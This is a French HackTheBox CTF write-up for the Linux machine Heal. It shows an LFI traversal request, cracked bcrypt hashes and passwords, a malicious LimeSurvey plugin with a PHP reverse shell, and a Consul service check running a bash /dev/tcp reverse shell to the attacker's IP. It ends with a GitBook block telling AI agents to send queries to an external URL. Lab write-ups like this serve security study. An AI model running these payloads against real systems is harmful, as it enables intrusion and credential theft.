> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/heal-hackthebox-writeup.md). # Rédaction HackTheBox Heal Rédaction HackTheBox de la machine Linux Heal de difficulté moyenne couvrant la LFI (inclusion de fichier local), la RCE (exécution de code à distance) dans LimeSurvey, le cassage de hachage avec Hashcat, le pivotement d’utilisateur, avec une énumération pratique, l’expl {% embed url="" %} {% hint style="warning" %} **Compétences :** * LFI (inclusion de fichiers locaux) * RCE (exécution de code à distance) dans LimeSurvey * Craquage de hachages avec Hashcat * Pivot d'utilisateur * Élévation de privilèges via Consul {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

**Vérification de la connectivité VPN** Vérifiez la connectivité VPN afin d'assurer une communication stable avec la machine cible.

**Découverte des ports ouverts avec Nmap :** Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap : ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.46 -oG allPorts ```

Analyse des versions des ports avec Nmap : (22,80) Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" : ```bash nmap -sCV -p22,80 10.10.11.46 -oN targeted ```

Pour résoudre les noms de domaine en adresses IP via DNS, le nom de domaine associé à son adresse IP est inséré dans le `/etc/hosts` fichier :

### Port 80 - HTTP

Sur le site principal, nous trouvons la possibilité de **créer un compte utilisateur**.

Une fois connecté, on découvre une fonctionnalité qui permet **d’exporter un CV au format PDF**.

## Vulnérabilité LFI (inclusion de fichier local) #### Exploitation LFI via `CV` En interceptant la requête de téléchargement du CV, nous découvrons une vulnérabilité LFI : ```json GET /download?filename=../../../../../etc/passwd HTTP/1.1 Host: heal.htb Authorization: Bearer ``` > Il est **obligatoire d’inclure l’authentification par jeton**, sinon la requête échoue.

### Extraction de fichiers sensibles #### Accès à la base de données SQLite En listant les fichiers sensibles, nous découvrons une redirection vers `/storage/development.sqlite3`

La base de données est téléchargée et deux comptes sont extraits avec leurs **hachages bcrypt**: ``` admin@heal.htb $2a$12$bLOjNMD13FW7vBJfHEZ5tu.inAHM/kxF.yTmbLkC8qg4iV5vHqDDO ralph@heal.htb $2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG ```

### Craquage de hachages #### En utilisant Hashcat Utilisez **Hashcat** pour essayer de casser les hachages avec `rockyou.txt`: ```bash hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt ``` > Résultat : nous trouvons le mot de passe pour **ralph**/ `ralph@heal.htb : 147258369`

### Découverte du sous-domaine : `take-survey`

#### Ajouter l’entrée à `/etc/hosts` Un nouveau sous-domaine apparaît dans l’application. Nous l’ajoutons à notre fichier hosts ## Vulnérabilité du CMS LimeSurvey {% embed url="" %}

#### Accès à l’espace admin On découvre que l’interface d’administration est accessible à l’URL suivante : `http://take-survey.heal.htb/index.php/admin` Nous nous connectons avec les identifiants de Ralph : * **Nom d'utilisateur** : `ralph` * **Mot de passe** : `147258369`

Nous avons trouvé que la version utilisée de LimeSurvey était **6.6.4**, qui est vulnérable à une **Exécution de code à distance (NCE)**.

### Exploitation RCE via un plugin malveillant {% embed url="" %} Nous avons adapté le script d’exploitation à notre situation.

Tout d’abord, nous avons créé un fichier compressé contenant un `config.xml` fichier et un script PHP de shell reverse : ```bash zip -r N4s1rl1.zip config.xml revshell.php ```

Nous avons ensuite installé ce plugin malveillant via l’interface web de LimeSurvey.

En passant la souris sur le plugin installé, nous avons détecté l’ID du plugin.

Après avoir modifié le script pour inclure cet ID, nous avons écouté sur le port 443 : ```bash nc -nlvp 443 ``` Enfin, nous avons exécuté l’exploit via Python : ```bash python3 exploit.py http://take-survey.heal.htb ralph 147258369 80 ```

#### Stabilisation du terminal Linux : ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## Pivot vers l’utilisateur ron En explorant la machine, nous avons trouvé un autre utilisateur **ron**.

Un fichier de configuration dans le dossier `de l’application` contenait des identifiants et des mots de passe pour l’accès à la base de données : * nom d’utilisateur = `db_user` * mot de passe = `AdmiDi0_pA$$w0rd`

Avec ces identifiants, nous avons pu accéder au compte de **ron**, ce qui nous a permis d’obtenir le **flag user.txt**.

### Drapeau user.txt :)

## **Élévation de privilèges** ### Découverte du port 8500 (Consul) En regardant les ports ouverts, nous avons trouvé le port **8500**, qui correspond à l’interface web de Consul.

Après avoir effectué une requête sur `127.0.0.1:8500/ui/`, nous avons trouvé la version de Consul **1.19.2**. ```bash curl 127.0.0.1:8500/ui/ ```

#### Vérification de l’accès à l’API REST Nous avons testé l’API REST de Consul pour vérifier si elle était accessible sans authentification : ```bash curl http://127.0.0.1:8500/v1/agent/self ``` Nous avons obtenu une réponse confirmant que l’API était ouverte. ### Exploitation via une vérification malveillante Nous avons enregistré un service avec une vérification malveillante utilisant une commande bash pour ouvrir un shell reverse vers notre machine : ```bash nc -lvnp 4444 ``` #### Enregistrer un service avec une vérification malveillante Consul permet l’enregistrement dynamique de services via une requête HTTP. Nous utilisons cela pour créer un « check » qui exécute une commande bash. ```bash curl -X PUT http://127.0.0.1:8500/v1/agent/service/register -d '{ "Name": "pwned", "ID": "pwned", "Check": { "Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.192/4444 0>&1"], "Interval": "10s" } }' ``` Ce que fait ce payload : * `Check.Args[]`: contient une commande bash qui ouvre un **shell inversé**. * `Intervalle`: Définit une exécution automatique toutes les 10 secondes. En exécutant ce payload, nous avons réussi à obtenir un shell root.

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/heal-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.